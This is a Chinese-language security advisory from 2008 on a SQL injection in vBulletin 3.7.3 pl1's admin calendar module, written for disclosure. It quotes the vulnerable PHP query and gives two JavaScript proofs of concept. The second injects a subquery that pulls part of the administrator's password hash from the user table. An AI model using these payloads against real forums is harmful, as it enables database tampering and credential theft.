vBulletin admincp/admincalendar.php模块SQL注入漏洞


添加时间:
2008-12-09

系统编号:
WAVDB-01283
BUGTRAQ: 32348

影响版本:
VBulletin 3.7.3 pl1

程序介绍:

vBulletin是一个专业、便宜的社区论坛解决方案。数千客户,包括很多产业旗舰公司,选择了 vBulletin——它是所有中到大型网站社区的理想的选择。 使用它您的网站便可成为信息和讨论的中心,鼓励访问者一次次的回到您的网站。使用它也是一个改进您对客户/网站用户服务的一个高效的方式。我们的专一开发团队在保持关注安全与性能的同时,持续不断的使 vBulletin 走在互联网革新的最前沿。

漏洞分析:

vBulletin论坛的admincp/admincalendar.php文件没有正确地验证用户提交参数:

 
  1. if($_POST['do'] == 'saveholiday')  
  2. {  
  3.     $vbulletin->input->clean_array_gpc('p'array(  
  4.         'holidayid'   => TYPE_INT,  
  5.         'holidayinfo' => TYPE_ARRAY,  
  6.         'month1'      => TYPE_INT,  
  7.         'day1'        => TYPE_INT,  
  8.         'month2'      => TYPE_INT,  
  9.         'day2'        => TYPE_INT,  
  10.         'period'      => TYPE_INT,  
  11.         'title'       => TYPE_STR,  
  12.         'description' => TYPE_STR,  
  13.     ));  
  14. ..  
  15. $db->query_write("  
  16.         UPDATE " . TABLE_PREFIX . "holiday  
  17.         SET allowsmilies = " . $vbulletin->GPC['holidayinfo']['allowsmilies'] . ",  
  18.         recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] . "',  
  19.         recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] . "  
  20.         WHERE holidayid = " . $vbulletin->GPC['holidayid']  
  21.     );  

可见未经任何过滤便在UPDATE查询中使用了来自$_POST的数组类型变量holidayinfo,这允许远程攻击者通过提交恶意请求执行SQL注入攻击。



漏洞利用:

PoC #1

以管理员身份登录并打开假日管理器界面:

http://localhost/vbulletin373pl1/admincp/admincalendar.php?do=updateholiday

以任意内容填充title字段,然后通过浏览器URL栏运行以下javascript:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,waraxe=1";document.cpform.submit();

PoC #2

以管理员身份登录并打开假日管理器界面。填充title字段然后执行以下javascript:

javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM vb_user WHERE userid=1))";
document.cpform.submit();



解决方案:
厂商补丁:
VBulletin
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.vbulletin.com/

信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)
链接:http://marc.info/?l=bugtraq&m=122693915030370&w=2
http://secunia.com/advisories/32735/
*>